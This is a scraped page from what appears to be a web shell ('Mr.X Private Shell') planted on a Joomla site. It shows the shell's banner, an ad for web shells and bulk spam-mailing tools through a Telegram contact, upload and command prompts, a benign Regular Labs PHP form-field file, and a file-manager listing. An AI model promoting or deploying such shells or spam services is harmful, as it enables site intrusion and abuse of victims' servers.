__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * @package         Regular Labs Library
 * @version         23.12.10783
 * 
 * @author          Peter van Westen <[email protected]>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2023 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

namespace RegularLabs\Library\Form\Field;

defined('_JEXEC') or die;

use RegularLabs\Library\Form\FormField as RL_FormField;
use RegularLabs\Library\RegEx as RL_RegEx;
use RegularLabs\Library\ShowOn as RL_ShowOn;

class ShowOnField extends RL_FormField
{
    protected function getInput()
    {
        $value = (string) $this->get('value');
        $class = $this->get('class', '');

        if ( ! $value)
        {
            return $this->getControlGroupEnd()
                . RL_ShowOn::close()
                . $this->getControlGroupStart();
        }

        $formControl = $this->get('form', $this->formControl);
        $formControl = $formControl == 'root' ? '' : $formControl;

        while (str_starts_with($value, '../'))
        {
            $value = substr($value, 3);

            if (str_contains($formControl, '['))
            {
                $formControl = RL_RegEx::replace('^(.*)\[.*?\]$', '\1', $formControl);
            }
        }

        return $this->getControlGroupEnd()
            . RL_ShowOn::open($value, $formControl, $this->group, $class)
            . $this->getControlGroupStart();
    }

    protected function getLabel()
    {
        return '';
    }
}

Filemanager

Name Type Size Permission Actions
AccessLevelsField.php File 1.4 KB 0664
AgentsField.php File 3.55 KB 0664
AjaxField.php File 2.87 KB 0664
BlockField.php File 1.9 KB 0664
CheckboxesField.php File 5.08 KB 0664
ComponentsField.php File 5.46 KB 0664
ContentArticlesField.php File 2.73 KB 0664
ContentCategoriesField.php File 2.13 KB 0664
CustomOptionsField.php File 1.39 KB 0664
DependencyField.php File 799 B 0664
DependencyFieldHelper.php File 1.22 KB 0664
DownloadKeyField.php File 1.11 KB 0664
FieldField.php File 2.61 KB 0664
GeoField.php File 94.25 KB 0664
GeoInformationField.php File 1.66 KB 0664
HeaderField.php File 4.41 KB 0664
HeaderLibraryField.php File 1.74 KB 0664
IconToggleField.php File 1.2 KB 0664
IconsField.php File 5.89 KB 0664
ImageField.php File 1.32 KB 0664
IsInstalledField.php File 999 B 0664
JCompatibilityField.php File 1.33 KB 0664
LanguagesField.php File 1.77 KB 0664
LicenseField.php File 842 B 0664
LoadLanguageField.php File 1.06 KB 0664
LoadMediaField.php File 1.03 KB 0664
MenuItemsField.php File 3.86 KB 0664
MiniColorField.php File 1.74 KB 0664
NoteField.php File 1.6 KB 0664
OnlyProField.php File 2.34 KB 0664
RangeField.php File 1.66 KB 0664
ShowOnField.php File 1.5 KB 0664
SimpleCategoryField.php File 2.78 KB 0664
SubformField.php File 3.84 KB 0664
TagsField.php File 1.73 KB 0664
TemplatesField.php File 4.5 KB 0664
TextAreaField.php File 1.18 KB 0664
UserGroupsField.php File 1.65 KB 0664
UsersField.php File 3.03 KB 0664
VersionField.php File 1.72 KB 0664
Filemanager